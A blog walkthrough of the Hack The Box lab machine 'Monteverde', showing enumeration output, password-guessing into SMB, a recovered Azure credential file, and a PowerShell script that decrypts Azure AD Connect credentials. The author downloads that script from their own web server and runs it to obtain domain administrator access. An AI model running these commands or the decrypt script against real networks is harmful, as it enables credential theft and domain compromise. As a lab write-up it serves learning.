HTB Monteverde Walkthrough

HTB Monteverde Walkthrough (nanobyte)

Jun 19, 2020 | nanobyte

I began my enumeration with my normal procedures, NMAP and enum4linux:

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748nmap -sV -sC -p- -oA monteverde.nmap 10.10.10.172Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-30 08:08 CSTNmap scan report for 10.10.10.172Host is up (0.043s latency).Not shown: 65516 filtered portsPORT      STATE SERVICE       VERSION53/tcp    open  domain?| fingerprint-strings: |   DNSVersionBindReqTCP: |     version|_    bind88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-01-30 14:20:09Z)135/tcp   open  msrpc         Microsoft Windows RPC139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)445/tcp   open  microsoft-ds?464/tcp   open  kpasswd5?593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0636/tcp   open  tcpwrapped3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)3269/tcp  open  tcpwrapped5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found9389/tcp  open  mc-nmf        .NET Message Framing49667/tcp open  msrpc         Microsoft Windows RPC49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.049670/tcp open  msrpc         Microsoft Windows RPC49673/tcp open  msrpc         Microsoft Windows RPC49699/tcp open  msrpc         Microsoft Windows RPC49771/tcp open  msrpc         Microsoft Windows RPC1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port53-TCP:V=7.80%I=7%D=1/30%Time=5E32E3C7%P=x86_64-pc-linux-gnu%r(DNSVSF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\SF:x04bind\0\0\x10\0\x03");Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:|_clock-skew: 9m58s| smb2-security-mode: |   2.02: |_    Message signing enabled and required| smb2-time: |   date: 2020-01-30T14:22:29|_  start_date: N/AService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 380.55 seconds

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159enum4linux -a 10.10.10.172Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Jan 30 08:17:35 2020 ==========================|    Target Information    | ==========================Target ........... 10.10.10.172RID Range ........ 500-550,1000-1050Username ......... ''Password ......... ''Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ====================================================|    Enumerating Workgroup/Domain on 10.10.10.172    | ====================================================[E] Can't find workgroup/domain ============================================|    Nbtstat Information for 10.10.10.172    | ============================================ Looking up status of 10.10.10.172No reply from 10.10.10.172 =====================================|    Session Check on 10.10.10.172    | ===================================== [+] Server 10.10.10.172 allows sessions using username '', password ''[+] Got domain/workgroup name: ===========================================|    Getting domain SID for 10.10.10.172    | =========================================== Domain Name: MEGABANKDomain Sid: S-1-5-21-391775091-850290835-3566037492[+] Host is part of a domain (not a workgroup) ======================================|    OS information on 10.10.10.172    | ====================================== [+] Got OS info for 10.10.10.172 from smbclient:[+] Got OS info for 10.10.10.172 from srvinfo:Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED =============================|    Users on 10.10.10.172    | =============================index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2    Name: AAD_987d7f2f57d2      Desc: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos    Name: Dimitris Galanos    Desc: (null)index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest    Name: (null)    Desc: Built-in account for guest access to the computer/domainindex: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope    Name: Mike Hope    Desc: (null)index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary    Name: Ray OLeary    Desc: (null)index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs    Name: SABatchJobs    Desc: (null)index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan    Name: Sally Morgan    Desc: (null)index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata    Name: svc-ata    Desc: (null)index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec    Name: svc-bexec    Desc: (null)index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp    Name: svc-netapp    Desc: (null)user:[Guest] rid:[0x1f5]user:[AAD_987d7f2f57d2] rid:[0x450]user:[mhope] rid:[0x641]user:[SABatchJobs] rid:[0xa2a]user:[svc-ata] rid:[0xa2b]user:[svc-bexec] rid:[0xa2c]user:[svc-netapp] rid:[0xa2d]user:[dgalanos] rid:[0xa35]user:[roleary] rid:[0xa36]user:[smorgan] rid:[0xa37] =========================================|    Share Enumeration on 10.10.10.172    | =========================================         Sharename       Type      Comment        ---------       ----      -------SMB1 disabled -- no workgroup available[+] Attempting to map shares on 10.10.10.172 ====================================================|    Password Policy Information for 10.10.10.172    | ==================================================== [+] Attaching to 10.10.10.172 using a NULL share[+] Trying protocol 445/SMB...[+] Found domain(s):        [+] MEGABANK        [+] Builtin[+] Password Info for Domain: MEGABANK        [+] Minimum password length: 7        [+] Password history length: 24        [+] Maximum password age: 41 days 23 hours 53 minutes        [+] Password Complexity Flags: 000000                [+] Domain Refuse Password Change: 0                [+] Domain Password Store Cleartext: 0                [+] Domain Password Lockout Admins: 0                [+] Domain Password No Clear Change: 0                [+] Domain Password No Anon Change: 0                [+] Domain Password Complex: 0        [+] Minimum password age: 1 day 4 minutes        [+] Reset Account Lockout Counter: 30 minutes        [+] Locked Account Duration: 30 minutes        [+] Account Lockout Threshold: None        [+] Forced Log off Time: Not Set[+] Retieved partial password policy with rpcclient:Password Complexity: DisabledMinimum Password Length: 7 ==============================|    Groups on 10.10.10.172    | ============================== [+] Getting builtin groups:group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]group:[Incoming Forest Trust Builders] rid:[0x22d]group:[Windows Authorization Access Group] rid:[0x230]group:[Terminal Server License Servers] rid:[0x231]group:[Users] rid:[0x221]group:[Guests] rid:[0x222]group:[Remote Desktop Users] rid:[0x22b]group:[Network Configuration Operators] rid:[0x22c]group:[Performance Monitor Users] rid:[0x22e]group:[Performance Log Users] rid:[0x22f]group:[Distributed COM Users] rid:[0x232]group:[IIS_IUSRS] rid:[0x238]group:[Cryptographic Operators] rid:[0x239]group:[Event Log Readers] rid:[0x23d]group:[Certificate Service DCOM Access] rid:[0x23e]group:[RDS Remote Access Servers] rid:[0x23f]group:[RDS Endpoint Servers] rid:[0x240]group:[RDS Management Servers] rid:[0x241]group:[Hyper-V Administrators] rid:[0x242]group:[Access Control Assistance Operators] rid:[0x243]group:[Remote Management Users] rid:[0x244]group:[Storage Replica Administrators] rid:[0x246][+] Getting builtin group memberships:Group 'Windows Authorization Access Group' (RID: 560) has member: Couldn't lookup SIDsGroup 'Remote Management Users' (RID: 580) has member: Couldn't lookup SIDsGroup 'IIS_IUSRS' (RID: 568) has member: Couldn't lookup SIDsGroup 'Guests' (RID: 546) has member: Couldn't lookup SIDsGroup 'Pre-Windows 2000 Compatible Access' (RID: 554) has member: Couldn't lookup SIDsGroup 'Users' (RID: 545) has member: Couldn't lookup SIDs

I did not limit the output of either of these tools, and as you can see enum4linux contained a lot of information! Including a list of user names. I moved foeard with impacket’s samrdump.py tool. There is a more detailed article which can be found here. Impacket’s samrdump.py targets Windows Security Account Manager (SAM) to retrieve sensative information about the target. Samrdump.py lists out all the system shares, user accounts and other possible information about the target.

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109python samrdump.py 10.10.10.172Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation                                                          [*] Retrieving endpoint list from 10.10.10.172Found domain(s):               . MEGABANK . Builtin                                  [*] Looking up users in domain MEGABANK  Found user: Guest, uid = 501 Found user: AAD_987d7f2f57d2, uid = 1104Found user: mhope, uid = 1601  Found user: SABatchJobs, uid = 2602  Found user: svc-ata, uid = 2603      Found user: svc-bexec, uid = 2604Found user: svc-netapp, uid = 2605Found user: dgalanos, uid = 2613             Found user: roleary, uid = 2614           Found user: smorgan, uid = 2615Guest (501)/FullName:                     Guest (501)/UserComment:     Guest (501)/PrimaryGroupId: 514    Guest (501)/BadPasswordCount: 0    Guest (501)/LogonCount: 0    Guest (501)/PasswordLastSet: <never>Guest (501)/PasswordDoesNotExpire: True    Guest (501)/AccountIsDisabled: True     Guest (501)/ScriptPath:AAD_987d7f2f57d2 (1104)/FullName: AAD_987d7f2f57d2AAD_987d7f2f57d2 (1104)/UserComment: AAD_987d7f2f57d2 (1104)/PrimaryGroupId: 513AAD_987d7f2f57d2 (1104)/BadPasswordCount: 1AAD_987d7f2f57d2 (1104)/LogonCount: 9AAD_987d7f2f57d2 (1104)/PasswordLastSet: 2020-01-02 16:53:24.984897AAD_987d7f2f57d2 (1104)/PasswordDoesNotExpire: TrueAAD_987d7f2f57d2 (1104)/AccountIsDisabled: FalseAAD_987d7f2f57d2 (1104)/ScriptPath: mhope (1601)/FullName: Mike Hope     mhope (1601)/UserComment:   mhope (1601)/PrimaryGroupId: 513  mhope (1601)/BadPasswordCount: 0  mhope (1601)/LogonCount: 2  mhope (1601)/PasswordLastSet: 2020-01-02 17:40:05.908924mhope (1601)/PasswordDoesNotExpire: True  mhope (1601)/AccountIsDisabled: False  mhope (1601)/ScriptPath:SABatchJobs (2602)/FullName: SABatchJobs [71/354]SABatchJobs (2602)/UserComment:SABatchJobs (2602)/PrimaryGroupId: 513SABatchJobs (2602)/BadPasswordCount: 0SABatchJobs (2602)/LogonCount: 0SABatchJobs (2602)/PasswordLastSet: 2020-01-03 06:48:46.392235SABatchJobs (2602)/PasswordDoesNotExpire: TrueSABatchJobs (2602)/AccountIsDisabled: FalseSABatchJobs (2602)/ScriptPath:svc-ata (2603)/FullName: svc-atasvc-ata (2603)/UserComment:svc-ata (2603)/PrimaryGroupId: 513svc-ata (2603)/BadPasswordCount: 0svc-ata (2603)/LogonCount: 0           svc-ata (2603)/PasswordLastSet: 2020-01-03 06:58:31.332169svc-ata (2603)/PasswordDoesNotExpire: Truesvc-ata (2603)/AccountIsDisabled: Falsesvc-ata (2603)/ScriptPath:svc-bexec (2604)/FullName: svc-bexecsvc-bexec (2604)/UserComment:svc-bexec (2604)/PrimaryGroupId: 513svc-bexec (2604)/BadPasswordCount: 0svc-bexec (2604)/LogonCount: 0svc-bexec (2604)/PasswordLastSet: 2020-01-03 06:59:55.863422svc-bexec (2604)/PasswordDoesNotExpire: Truesvc-bexec (2604)/AccountIsDisabled: Falsesvc-bexec (2604)/ScriptPath:svc-netapp (2605)/FullName: svc-netapp  svc-netapp (2605)/UserComment:svc-netapp (2605)/PrimaryGroupId: 513svc-netapp (2605)/BadPasswordCount: 0svc-netapp (2605)/LogonCount: 0svc-netapp (2605)/PasswordLastSet: 2020-01-03 07:01:42.786264svc-netapp (2605)/PasswordDoesNotExpire: Truesvc-netapp (2605)/AccountIsDisabled: Falsesvc-netapp (2605)/ScriptPath:dgalanos (2613)/FullName: Dimitris Galanosdgalanos (2613)/UserComment:dgalanos (2613)/PrimaryGroupId: 513dgalanos (2613)/BadPasswordCount: 0dgalanos (2613)/LogonCount: 0dgalanos (2613)/PasswordLastSet: 2020-01-03 07:06:10.519660dgalanos (2613)/PasswordDoesNotExpire: True         dgalanos (2613)/AccountIsDisabled: Falsedgalanos (2613)/ScriptPath:roleary (2614)/FullName: Ray O'Learyroleary (2614)/UserComment:roleary (2614)/PrimaryGroupId: 513roleary (2614)/BadPasswordCount: 0roleary (2614)/LogonCount: 0roleary (2614)/PasswordLastSet: 2020-01-03 07:08:05.832167         roleary (2614)/PasswordDoesNotExpire: Trueroleary (2614)/AccountIsDisabled: Falseroleary (2614)/ScriptPath:smorgan (2615)/FullName: Sally Morgansmorgan (2615)/UserComment: smorgan (2615)/PrimaryGroupId: 513smorgan (2615)/BadPasswordCount: 0smorgan (2615)/LogonCount: 0smorgan (2615)/PasswordLastSet: 2020-01-03 07:09:21.629084 smorgan (2615)/PasswordDoesNotExpire: Truesmorgan (2615)/AccountIsDisabled: Falsesmorgan (2615)/ScriptPath: [*] Received 10 entries.

Again, a ton of output! This got to my first wall of the machine. It took me quite some time to figure out, that through bad administrator practices, sometimes passwords are set the same as account names. I began trying to connect with rpcclient with a service account name, and the name as a password.

Rpcclient is a tool for executing client-side Microsoft Remote Procedure Call (RPC) functions. Initially, RPC was used to create Windows client/server model in Windows NT. It is still available for use in current Windows systems.

123rpcclient -U "MEGABANK\SABatchJobs" 10.10.10.172Enter MEGABANK\SABatchJobs's password: SABatchJobsrpcclient $>

And with that, I was now logged in. One of my favorite guides to enumerate RPC can be locaed from a SANS guide, located here. Using this guide, I used a lookupnames call for the users, and mhope returned some information about a Home Drive:

1234567891011121314151617181920212223242526272829rpcclient $> lookupnames mhopemhope S-1-5-21-391775091-850290835-3566037492-1601 (User: 1)rpcclient $> queryuser 1601        User Name   :   mhope        Full Name   :   Mike Hope        Home Drive  :   \\monteverde\users$\mhope        Dir Drive   :   H:        Profile Path:        Logon Script:        Description :        Workstations:        Comment     :        Remote Dial :        Logon Time               :      Fri, 31 Jan 2020 10:18:59 CST        Logoff Time              :      Wed, 31 Dec 1969 18:00:00 CST        Kickoff Time             :      Wed, 13 Sep 30828 21:48:05 CDT        Password last set Time   :      Thu, 02 Jan 2020 17:40:06 CST        Password can change Time :      Fri, 03 Jan 2020 17:40:06 CST        Password must change Time:      Wed, 13 Sep 30828 21:48:05 CDT        unknown_2[0..31]...        user_rid :      0x641        group_rid:      0x201        acb_info :      0x00000210        fields_present: 0x00ffffff        logon_divs:     168        bad_password_count:     0x00000000        logon_count:    0x00000002        padding1[0..7]...        logon_hrs[0..21]...

And again, I used another tool to attempt to connect to this remote home directory! I used another common enumeration tool, smbclient. Smbclient is a tool that can be viewed as similar to FTP on a local network. It connects to a local resource to access the SMB/CIFS resources on a remote computer. The SMB/CIFS is Server Message Block/Common Internet File System resource. Using smbclient, I used the same login information for rpcclient to login to smbclient:

12345678910111213smbclient \\\\10.10.10.172\\users$ -U MEGABANK/SABatchJobsEnter MEGABANK\SABatchJobs's password: SABatchJobsTry "help" to get a list of possible commands.smb: \> ls  .                                   D        0  Fri Jan  3 07:12:48 2020  ..                                  D        0  Fri Jan  3 07:12:48 2020  dgalanos                            D        0  Fri Jan  3 07:12:30 2020  mhope                               D        0  Fri Jan  3 07:41:18 2020  roleary                             D        0  Fri Jan  3 07:10:30 2020  smorgan                             D        0  Fri Jan  3 07:10:24 2020                524031 blocks of size 4096. 519955 blocks available

I can connect, and I also see a list of possible directories. I manually enumerated these directories, and when I viewed mhope’s, I found an xml file:

123456smb: \mhope\> ls  .                                   D        0  Fri Jan  3 07:41:18 2020  ..                                  D        0  Fri Jan  3 07:41:18 2020  azure.xml                          AR     1212  Fri Jan  3 07:40:23 2020                524031 blocks of size 4096. 519955 blocks available

I then use the get command to download the xml:

12smb: \mhope\> get azure.xmlgetting file \mhope\azure.xml of size 1212 as azure.xml (7.1 KiloBytes/sec) (average 7.1 KiloBytes/sec)

Once on my computer, I quickly found a password available for mhope:

12345678910111213141516cat azure.xml <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">  <Obj RefId="0">    <TN RefId="0">      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>      <T>System.Object</T>    </TN>    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>    <Props>      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>      <S N="Password">4n0therD4y@n0th3r$</S>    </Props>  </Obj></Objs>

And with that, I had user credentials! As I always do, once I have credentials on a Windows machine I attempted to login with Evil-WinRM. This is an evil implenetation of the Windows Remote Management tool. It allows attackers to log into computers and provides a lot of features for testers to use, including the ability to quickly upload and download files. I logged in, and was able to own user on the box:

123456789101112131415161718evil-winrm -i 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$*Evil-WinRM* PS C:\Users\mhope\Documents> whoamimegabank\mhope*Evil-WinRM* PS C:\Users\mhope\Documents> cd ..\Desktop*Evil-WinRM* PS C:\Users\mhope\Desktop> ls    Directory: C:\Users\mhope\DesktopMode                LastWriteTime         Length Name----                -------------         ------ -----ar---         1/3/2020   5:48 AM             32 user.txt*Evil-WinRM* PS C:\Users\mhope\Desktop> more user.txt4961976bd7d8f4exxxxxxxxxxxxxxxx

Now that I have owned user, time to move onto root. I used Just Another Windows (Enum) Script, also known as JAWS. This is another go-to tool for CTF style machines, to quickly identify escelation paths. When I ran the script on Monteverde, I found in part of the output, that there were some interesting recently modified files:

12345678910111213----------------------------------------------------------- 10 Last Modified Files in C:\User-----------------------------------------------------------C:\Users\mhope\.Azure\AzurePSDataCollectionProfile.jsonC:\Users\mhope\.AzureC:\Users\mhope\.Azure\ErrorRecordsC:\Users\mhope\.Azure\ErrorRecords\New-AzADServicePrincipal_2020-01-03-T05-35-17-334.logC:\Users\mhope\.Azure\AzureRmContext.jsonC:\Users\mhope\.Azure\TokenCache.datC:\Users\mhope\DesktopC:\Users\mhope\Desktop\user.txtC:\Users\mhope\DocumentsC:\Users\mhope\Documents\jaws.ps1

The fact that there were Azure files in the home directory had me begin looking at what was installed on the box. Looking in the “C:\Program Files (x86)” directory, there is the Azure AD Sync tool installed. Looking at this as a possible privilege escalation path, I did some Google-Fu and discovered this article to better understand the tool: https://vbscrub.com/2020/01/14/azure-ad-connect-database-exploit-priv-esc/.

Furthering my invrstigation, I then found a POC of a way to decrypt the username and password for this tool, very cool! The script can be found at https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545. However, there was some tweaking that needed to be done to the script for it to run:

123456789101112131415161718192021222324252627282930313233343536$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=.;Initial Catalog=ADSync;trusted_connection=true;"$client.Open()$cmd = $client.CreateCommand()$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"$reader = $cmd.ExecuteReader()$reader.Read() | Out-Null$key_id = $reader.GetInt32(0)$instance_id = $reader.GetGuid(1)$entropy = $reader.GetGuid(2)$reader.Close()$cmd = $client.CreateCommand()$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"$reader = $cmd.ExecuteReader()$reader.Read() | Out-Null$config = $reader.GetString(0)$crypted = $reader.GetString(1)$reader.Close()add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager$km.LoadKeySet($entropy, $instance_id, $key_id)$key = $null$km.GetActiveCredentialKey([ref]$key)$key2 = $null$km.GetKey(1, [ref]$key2)$decrypted = $null$key2.DecryptBase64ToString($crypted, [ref]$decrypted)$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}Write-Host ("Domain: " + $domain.Domain)Write-Host ("Username: " + $username.Username)Write-Host ("Password: " + $password.Password)

And with my script ready, I had to transfer it to Monteverde. In the directory that the azure_decrypt_msol.ps1 script was located in, I spun up a quick python web server. Once hosted, on Monteverde I downloaded the file with PowerShell, and ran the script:

12345*Evil-WinRM* PS C:\Users\mhope\Documents> invoke-webrequest -uri http://10.10.14.13/azure_decrypt_msol.ps1 -outfile azureread_cred.ps1*Evil-WinRM* PS C:\Users\mhope\Documents> ./azureread_cred.ps1Domain: MEGABANK.LOCALUsername: administratorPassword: d0m@in4dminyeah!

And finally, now that I had administrator credentials, I logged in with Evil-WinRM and rooted monteverde!

1234567891011121314151617181920evil-winrm -i 10.10.10.172 -u administrator -p d0m@in4dminyeah!Evil-WinRM shell v2.1Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls    Directory: C:\Users\Administrator\DesktopMode                LastWriteTime         Length Name----                -------------         ------ -----ar---         1/3/2020   5:48 AM             32 root.txt*Evil-WinRM* PS C:\Users\Administrator\Desktop> more root.txt12909612d25c8xxxxxxxxxxxx